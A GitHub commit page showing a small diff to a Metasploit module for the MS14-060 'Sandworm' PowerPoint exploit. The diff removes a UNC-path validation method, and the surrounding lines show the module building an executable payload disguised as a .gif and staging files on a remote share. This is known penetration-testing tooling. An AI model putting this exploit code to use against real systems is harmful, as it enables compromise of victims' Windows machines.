Skip to content

Commit e590356

Browse files
committed
Delete bad/incomplete validation method
1 parent 7ac4167 commit e590356

File tree

1 file changed

+2
-16
lines changed

1 file changed

+2
-16
lines changed

modules/exploits/windows/fileformat/ms14_060_sandworm.rb

Lines changed: 2 additions & 16 deletions
Original file line numberDiff line numberDiff line change
@@ -76,16 +76,12 @@ def initialize(info={})
7676
register_options(
7777
[
7878
OptString.new('FILENAME', [true, 'The PPSX file', 'msf.ppsx']),
79-
OptString.new('UNCPATH', [ true, 'The UNC path to use (Ex: \\\\192.168.1.1\\share)', '\\\\172.16.158.1\\public' ])
79+
OptString.new('UNCPATH', [ true, 'The UNC folder to use (Ex: \\\\192.168.1.1\\share)' ])
8080
], self.class)
8181
end
8282

8383
def exploit
84-
@unc = validate_unc
85-
86-
if @unc.nil?
87-
fail_with(Failure::BadConfig, "UNCPATH must be a remote shared folder")
88-
end
84+
@unc = datastore['UNCPATH']
8985

9086
print_status("Creating the EXE payload...")
9187
payload_name = "#{rand_text_alpha(4)}.gif"
@@ -108,16 +104,6 @@ def exploit
108104
print_good("#{inf_name} stored at #{inf_path}, copy it to the remote share: #{@unc}")
109105
end
110106

111-
def validate_unc
112-
if datastore['UNCPATH'] =~ /\\\\([^\\]*)\\([^\\]*)/
113-
unc = datastore['UNCPATH']
114-
else
115-
unc = nil
116-
end
117-
118-
unc
119-
end
120-
121107
def my_file_create(data, name)
122108
ltype = "exploit.fileformat.#{self.shortname}"
123109
path = store_local(ltype, nil, data, name)

0 commit comments

Comments
 (0)